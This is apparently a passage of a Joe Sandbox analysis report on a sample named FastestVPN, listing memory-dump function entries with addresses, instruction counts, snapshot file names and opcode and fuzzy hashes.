                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2761219294.000000000B510000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B510000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b510000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: dd9227b5c11d7331b0e80c56b3e84d92a9dfb76ebfe6e3018196e1ff98a5e60e
                                                                                                                      • Instruction ID: 775a9c33827b9a94141182f042d04bdcd82239fc274b306db65928431e06b29f
                                                                                                                      • Opcode Fuzzy Hash: dd9227b5c11d7331b0e80c56b3e84d92a9dfb76ebfe6e3018196e1ff98a5e60e
                                                                                                                      • Instruction Fuzzy Hash: E401F9377002601B5B273378786406E6EE7DFCA6A032908FEDA47CB340CD549D0557AB
                                                                                                                      Function 0B4BCD38 Relevance: .0, Instructions: 49COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2761014438.000000000B4B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B4B0000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b4b0000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: befbdcfc8afc761da17856b3cf3fbbdd606c9d1793695eb872b9cfd18d574a6c
                                                                                                                      • Instruction ID: 5ec872d908e065e8ad874a974b66e3ffe11be68fde7156d4b4b6f68ac29cd9ba
                                                                                                                      • Opcode Fuzzy Hash: befbdcfc8afc761da17856b3cf3fbbdd606c9d1793695eb872b9cfd18d574a6c
                                                                                                                      • Instruction Fuzzy Hash: 9A01C431B40105DBDB18CB68C5A4AEEBBF9EF89700F14446AD506E7341DB329E11CBB1
                                                                                                                      Function 0B486120 Relevance: .0, Instructions: 49COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2760638760.000000000B480000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B480000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b480000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: 87dadadf57d09244df8bba2cc47d6e6362af6f47c17cdecb8a7816e598999def
                                                                                                                      • Instruction ID: 95b647e28f4608c282da345e4187be19cf381bc6ed7044477e496f971c4c7c6a
                                                                                                                      • Opcode Fuzzy Hash: 87dadadf57d09244df8bba2cc47d6e6362af6f47c17cdecb8a7816e598999def
                                                                                                                      • Instruction Fuzzy Hash: E80169307002148FCB44EF29D884A6ABBFAFF8422071645AAE906CB372DB71EC01CB50
                                                                                                                      Function 0B51B908 Relevance: .0, Instructions: 49COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2761219294.000000000B510000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B510000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b510000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: 261059b44eea99ed3455b532c08cdb06af4e361f1bf7c877df03918fd8bd4b8b
                                                                                                                      • Instruction ID: 6055b17c1a8d209d4a0444980ac71536ee4401420359440c43cdb8f2d0877191
                                                                                                                      • Opcode Fuzzy Hash: 261059b44eea99ed3455b532c08cdb06af4e361f1bf7c877df03918fd8bd4b8b
                                                                                                                      • Instruction Fuzzy Hash: 3301C071B002198FEB14DF69C554AEEBBF7AF88710F1844AAD401EB390DF719C018BA0
                                                                                                                      Function 0B51C658 Relevance: .0, Instructions: 49COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2761219294.000000000B510000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B510000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b510000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: b49b526f5b4fc25b30dc5f6a323c98e037ba46638a2d34ea755ee539c05b6eb4
                                                                                                                      • Instruction ID: 4873f18fcee792e663fd7cfcde55fed79b966036cf27a229a3faebb443763059
                                                                                                                      • Opcode Fuzzy Hash: b49b526f5b4fc25b30dc5f6a323c98e037ba46638a2d34ea755ee539c05b6eb4
                                                                                                                      • Instruction Fuzzy Hash: 6501D271B402594BEB14DBA9C554AEEBFF6AFC8610F1944AAD001EB390DF729D41CBA0
                                                                                                                      Function 0B51E6E0 Relevance: .0, Instructions: 47COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2761219294.000000000B510000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B510000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b510000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: 319fe41bbb1ce41d1abeeeec2bffe3e65c3fd3dbcdff797efff0bdc929c89d57
                                                                                                                      • Instruction ID: d5dd7faf0fc57e7310801402ce6dfef0f43cd7ef4e7353c5648344f9697ce474
                                                                                                                      • Opcode Fuzzy Hash: 319fe41bbb1ce41d1abeeeec2bffe3e65c3fd3dbcdff797efff0bdc929c89d57
                                                                                                                      • Instruction Fuzzy Hash: 28F0F637B00220272B3633ADB45446EA5DBDBC96A036408BDDA07D7340DE559C060BEB
                                                                                                                      Function 0B516540 Relevance: .0, Instructions: 47COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2761219294.000000000B510000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B510000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b510000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: 798671f8fe1295ed11ab35e4c9f2153deaab71c9ab796d5753297b0f751b3a53
                                                                                                                      • Instruction ID: 2acc09ad3d58590d0f9c11f99c1d07af60ea96269f3e4a380912ca9447eff4a0
                                                                                                                      • Opcode Fuzzy Hash: 798671f8fe1295ed11ab35e4c9f2153deaab71c9ab796d5753297b0f751b3a53
                                                                                                                      • Instruction Fuzzy Hash: F601F971B016314FBB25A714A54093EB7E6FEC96603860D98CC05AB344EF34ED06CBD1
                                                                                                                      Function 0B487D58 Relevance: .0, Instructions: 46COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2760638760.000000000B480000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B480000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b480000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: c8a580787641b581ef922ca177f2e3efa93a03dd62842fb9ce96a4bf72190b98
                                                                                                                      • Instruction ID: a9a43f989c392beda3fd192a9ff99875d3bf94bee0f2f3322817fca7ab58ce98
                                                                                                                      • Opcode Fuzzy Hash: c8a580787641b581ef922ca177f2e3efa93a03dd62842fb9ce96a4bf72190b98
                                                                                                                      • Instruction Fuzzy Hash: 89F01932704218AF9B15DA59E8449BFBBEEFB88661714812EF50AC2241DB31991697A0
                                                                                                                      Function 0B51D04F Relevance: .0, Instructions: 46COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2761219294.000000000B510000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B510000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b510000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: f604175e13df6ff9867e77e2367e15e2b61a610e58f83032f8514adeb5b3edd4
                                                                                                                      • Instruction ID: c5ce3babc65e4ac801368977efc47865ee40328de846d51af0c5d62e880e564f
                                                                                                                      • Opcode Fuzzy Hash: f604175e13df6ff9867e77e2367e15e2b61a610e58f83032f8514adeb5b3edd4
                                                                                                                      • Instruction Fuzzy Hash: 5C0192317002468FDB12ABB4E854BEA3B72FF85301F1145A6D402D7294DB74981FDF91
                                                                                                                      Function 0237DACD Relevance: .0, Instructions: 45COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2722577823.000000000237D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0237D000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_237d000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: 53436bd597ce4c99405e5e5355d3568b70a72522b0cb40b66ba6943280deacda
                                                                                                                      • Instruction ID: f442aaa7a36192cd222cb42f867a06f1bbf8397d34ed61e6370211d340ff8ea1
                                                                                                                      • Opcode Fuzzy Hash: 53436bd597ce4c99405e5e5355d3568b70a72522b0cb40b66ba6943280deacda
                                                                                                                      • Instruction Fuzzy Hash: CB01A27150834C9BEB705A16CCC4B67BF9CEF45625F18C55AED094A683C77DA840CAB2
                                                                                                                      Function 0B488EA4 Relevance: .0, Instructions: 45COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2760638760.000000000B480000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B480000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b480000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: c6e2912ae3b6e5fafaced7137ccc1a04388120498cbf23a3dcc9c3c3a863705c
                                                                                                                      • Instruction ID: 4bb2a14d49b7c80097a12f05f12bb81f2dfc210526ec4669913d3ef0bff12c6f
                                                                                                                      • Opcode Fuzzy Hash: c6e2912ae3b6e5fafaced7137ccc1a04388120498cbf23a3dcc9c3c3a863705c
                                                                                                                      • Instruction Fuzzy Hash: C8113574E01258AFDB04DFA4D944AEEBFF2AF88300F24816AE911B6390CB714A04DB60
                                                                                                                      Function 0B51DA78 Relevance: .0, Instructions: 45COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2761219294.000000000B510000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B510000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b510000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: 5ca0b099aeaa31c7010fa87ac098ef477bed719660152d9be824531b5d04d8f5
                                                                                                                      • Instruction ID: 5ba3fffe06ad442165085be110cb0d1b769bcf53d2d9938f3ef11c127d2c3e7f
                                                                                                                      • Opcode Fuzzy Hash: 5ca0b099aeaa31c7010fa87ac098ef477bed719660152d9be824531b5d04d8f5
                                                                                                                      • Instruction Fuzzy Hash: 30018071A042588FEB08DBA4D4546EDBBF2BF89700F1489B9C402B7384DB755C45DB60
                                                                                                                      Function 0B51D621 Relevance: .0, Instructions: 45COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2761219294.000000000B510000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B510000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b510000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: 3994c807622a88b7170b63014880e342ac8ca3a8be47588dcd7c07c9bcda142d
                                                                                                                      • Instruction ID: d9f964f91e601b0361aa58d3767b24227ccfe42ff6de564f068a993629a3168b
                                                                                                                      • Opcode Fuzzy Hash: 3994c807622a88b7170b63014880e342ac8ca3a8be47588dcd7c07c9bcda142d
                                                                                                                      • Instruction Fuzzy Hash: 9A01DA32E1275A8BCB01DBA5DC401EEB7B2FFCA310F124652E101BB150EB70295AC790
                                                                                                                      Function 0B4BF54F Relevance: .0, Instructions: 44COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2761014438.000000000B4B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B4B0000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b4b0000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: c6f927acd01085ef844945d09c53f833ccc6d07a8c91c7a87f5dc41559385cfc
                                                                                                                      • Instruction ID: bd86b9be89d33f797b7ad48ac47e11f0503929a3381fff60358475bb6f06997c
                                                                                                                      • Opcode Fuzzy Hash: c6f927acd01085ef844945d09c53f833ccc6d07a8c91c7a87f5dc41559385cfc
                                                                                                                      • Instruction Fuzzy Hash: CA012C75D09288AFCB41DFB8E4518CD7FF1AF06340B1180EBC445DB262EB359A19DB51
                                                                                                                      Function 0237D813 Relevance: .0, Instructions: 43COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2722577823.000000000237D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0237D000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_237d000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: d5caa7567e3e66541317fe63f929ef60435d39b343e36bb3d37c4dd2614d0536
                                                                                                                      • Instruction ID: 37fde93941ccac7a2d716405926797d812d98dcdd357736d2c33c0f25784a611
                                                                                                                      • Opcode Fuzzy Hash: d5caa7567e3e66541317fe63f929ef60435d39b343e36bb3d37c4dd2614d0536
                                                                                                                      • Instruction Fuzzy Hash: CB01DA76100A04AFCB619F46DD44C27FBBAFF88720355855DE94A4BA22C372F851DF60
                                                                                                                      Function 0B51CA58 Relevance: .0, Instructions: 43COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2761219294.000000000B510000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B510000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b510000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: 814dfa6d0065389a0e3f07ad546d16708a901acf0d24efc8777d6d7eb7a63d25
                                                                                                                      • Instruction ID: cc38c6e5a6fc206ee0c39155477ed912c4a95102bf3cbbdbbd0b488f1bf0f7f5
                                                                                                                      • Opcode Fuzzy Hash: 814dfa6d0065389a0e3f07ad546d16708a901acf0d24efc8777d6d7eb7a63d25
                                                                                                                      • Instruction Fuzzy Hash: 9201B135E012199BFB11DBB8D950BEEBBF6FF88604F104569C001BB394EB759905DBA0
                                                                                                                      Function 0B51CF10 Relevance: .0, Instructions: 43COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2761219294.000000000B510000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B510000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b510000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: 8c5e33cfd078cd5d553beb69cb6d242a71ef864e893086e375f27b635436404b
                                                                                                                      • Instruction ID: 8372c68ae4efa27d7b3d6f48232429b1c00462b9106e8e2b4fee689113287bb8
                                                                                                                      • Opcode Fuzzy Hash: 8c5e33cfd078cd5d553beb69cb6d242a71ef864e893086e375f27b635436404b
                                                                                                                      • Instruction Fuzzy Hash: 5001AD316003155FD715FBA8EC8099FBBABFEC46117508A29E10987208EF70AD088BE1
                                                                                                                      Function 0B48CE88 Relevance: .0, Instructions: 42COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2760638760.000000000B480000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B480000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b480000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: 60a289a8753b3f9f74d183d94552b5b446c94a7b48d989bf3bbae05da3fd801a
                                                                                                                      • Instruction ID: 9747888588091bb8be870a7e4e0f74e189b7b69297da6d34eb69d2f3193e60de
                                                                                                                      • Opcode Fuzzy Hash: 60a289a8753b3f9f74d183d94552b5b446c94a7b48d989bf3bbae05da3fd801a
                                                                                                                      • Instruction Fuzzy Hash: E3014F357006508FCB48DB3DE4944AA77E6EFCEA5031940EAE546CB776DE719C029B60
                                                                                                                      Function 0B488EA8 Relevance: .0, Instructions: 42COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2760638760.000000000B480000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B480000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b480000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: a99f2839f5ac3c87dff610133691d3cdb35dba34499311082965b0ab61ef438f
                                                                                                                      • Instruction ID: 0ad068a6eb6625a3c692e94adc037cf4975393e8732fe098a9948b58b74297a0
                                                                                                                      • Opcode Fuzzy Hash: a99f2839f5ac3c87dff610133691d3cdb35dba34499311082965b0ab61ef438f
                                                                                                                      • Instruction Fuzzy Hash: 40012975E01218AFDB04DFA5D944AEEBFF2AF88710F14806AE915B7390CB715A00DBA0
                                                                                                                      Function 0B485508 Relevance: .0, Instructions: 42COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2760638760.000000000B480000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B480000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b480000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: dc6ec1c30998ecafd65ee5201e9bb8ef3122293d374155bdd7268263c3800235
                                                                                                                      • Instruction ID: 6cbeb3a08bb4016722c9754d8931345424a7bd2444ea617d89c856f869e4094d
                                                                                                                      • Opcode Fuzzy Hash: dc6ec1c30998ecafd65ee5201e9bb8ef3122293d374155bdd7268263c3800235
                                                                                                                      • Instruction Fuzzy Hash: 8B01F434600311CFCB24AA39E40066FB3F7FFD5606754883ED40686708DB75E685CB90
                                                                                                                      Function 0237D804 Relevance: .0, Instructions: 41COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2722577823.000000000237D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0237D000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_237d000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: f1e8fd2a15876ae0e55ae98ca8121ce0cf3c5bc3d7bf5e930c43e734cd4b3469
                                                                                                                      • Instruction ID: f927992d7d7566aee6fb958e15fc0897e630d56a9831ee930225f5cc3c5eb9e6
                                                                                                                      • Opcode Fuzzy Hash: f1e8fd2a15876ae0e55ae98ca8121ce0cf3c5bc3d7bf5e930c43e734cd4b3469
                                                                                                                      • Instruction Fuzzy Hash: B2010C36100A40AFC7618F56CD40D23BFBAFF89720719848DE9864BA22C332F812DF60
                                                                                                                      Function 0B4BD498 Relevance: .0, Instructions: 41COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2761014438.000000000B4B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B4B0000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b4b0000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: 2f5902fe8f615b95b9c587d450880135bc8f95cedc3048f0df16b2963f8a0bc9
                                                                                                                      • Instruction ID: 41adc6d48b10583514076589d7106885a91728bcb2270010e1ed3b0a16cd6b8d
                                                                                                                      • Opcode Fuzzy Hash: 2f5902fe8f615b95b9c587d450880135bc8f95cedc3048f0df16b2963f8a0bc9
                                                                                                                      • Instruction Fuzzy Hash: 37F0BB32F042249FDB0CDFA8B4048AA77E5EB8457571400FBE20DC7240DA31DA41C750
                                                                                                                      Function 0B51D6A8 Relevance: .0, Instructions: 41COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2761219294.000000000B510000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B510000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b510000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: 7b13945b55a7aad35ba88ca52b0b3a240d5170eee0642331791177ca216de4e0
                                                                                                                      • Instruction ID: d261d4177c89697411be009604aa659d2d8c65c02337ce726bdaf38b65582212
                                                                                                                      • Opcode Fuzzy Hash: 7b13945b55a7aad35ba88ca52b0b3a240d5170eee0642331791177ca216de4e0
                                                                                                                      • Instruction Fuzzy Hash: 5501F432A101588BEF12CBB0C0A17FFBFF2AF84700F44896AC053A7240DE706806C791
                                                                                                                      Function 0B4BE793 Relevance: .0, Instructions: 40COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2761014438.000000000B4B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B4B0000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b4b0000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: 80c707f7f6323000bcb6a905fe70780fb00eec67404ce809facbbdd59d37d28d
                                                                                                                      • Instruction ID: 701ec21870b89dc12722f5f5e8296e03f479309c2b5c90bacbc2a8607278b5d5
                                                                                                                      • Opcode Fuzzy Hash: 80c707f7f6323000bcb6a905fe70780fb00eec67404ce809facbbdd59d37d28d
                                                                                                                      • Instruction Fuzzy Hash: 36F0CD2570D2C49FCF03873AA4E4AAB3FA49E8B51431900EFD488CB307C850480AC772
                                                                                                                      Function 0B518790 Relevance: .0, Instructions: 40COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2761219294.000000000B510000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B510000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b510000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: 9d8c5a8b42fe19b07cf51c76b38e4d4d52c51e818389934537b487c73296fc79
                                                                                                                      • Instruction ID: 337458f9ba1cd74b1702e6e1ccd91ae5ffedb37b8fa21e0a92a4d95605538d1f
                                                                                                                      • Opcode Fuzzy Hash: 9d8c5a8b42fe19b07cf51c76b38e4d4d52c51e818389934537b487c73296fc79
                                                                                                                      • Instruction Fuzzy Hash: 5BF0A4313002109FD725EB38D895959B7F2FFCA25034509EDD58ADB256DB30AC42CB90
                                                                                                                      Function 0B51D630 Relevance: .0, Instructions: 40COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2761219294.000000000B510000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B510000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b510000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: 2e7f487da3a0a717c5935e7a3accaf7969dee7c402b6603c7b0df8e667a09dd1
                                                                                                                      • Instruction ID: 6178a431efc935ec56ec2c9b09574f2a82a6ad7c3e3905df539ebfd2c19c4794
                                                                                                                      • Opcode Fuzzy Hash: 2e7f487da3a0a717c5935e7a3accaf7969dee7c402b6603c7b0df8e667a09dd1
                                                                                                                      • Instruction Fuzzy Hash: 30014B32D1171B9BCB00DBA5DC444DEB3B6EFC9721F214626E11177150EB70295A8791
                                                                                                                      Function 0B487D48 Relevance: .0, Instructions: 38COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2760638760.000000000B480000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B480000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b480000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: f2dae3483a19e0e9bddcb8c9e2ae47e484498392a3821bbf05eb1af0f010b37b
                                                                                                                      • Instruction ID: 1c14e1e8271f1e0843fc8ce80da356a6795ee2057a6aedcae9f82f2d50ac37d5
                                                                                                                      • Opcode Fuzzy Hash: f2dae3483a19e0e9bddcb8c9e2ae47e484498392a3821bbf05eb1af0f010b37b
                                                                                                                      • Instruction Fuzzy Hash: D6F0E2317092996F8B12CA7D9C449FF7FF9EA8526031944AFE008DB213D6208D06C721
                                                                                                                      Function 0B51D060 Relevance: .0, Instructions: 38COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2761219294.000000000B510000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B510000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b510000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: eec58b4321058433e06e42aaf5ce187c21994d91034aeb38c2548e43e53811dd
                                                                                                                      • Instruction ID: 3affbc3a75a634b973c9ab49fe6f843aa6aa591e25f163d716fde1a93c22294d
                                                                                                                      • Opcode Fuzzy Hash: eec58b4321058433e06e42aaf5ce187c21994d91034aeb38c2548e43e53811dd
                                                                                                                      • Instruction Fuzzy Hash: BF01D13660020ADFDB11ABA4E808BEB3776FB88301F014035D90293294EB34981EDF91
                                                                                                                      Function 0237D64F Relevance: .0, Instructions: 37COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2722577823.000000000237D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0237D000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_237d000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: abfdd0b96fb83c99dcf701b8d364edde7c204ac11f54a4c3c9942dc5f70a8a64
                                                                                                                      • Instruction ID: 0ecda8f128c956159aa001e5629c238beb228c6ab03447eded2ec4c0811c4f49
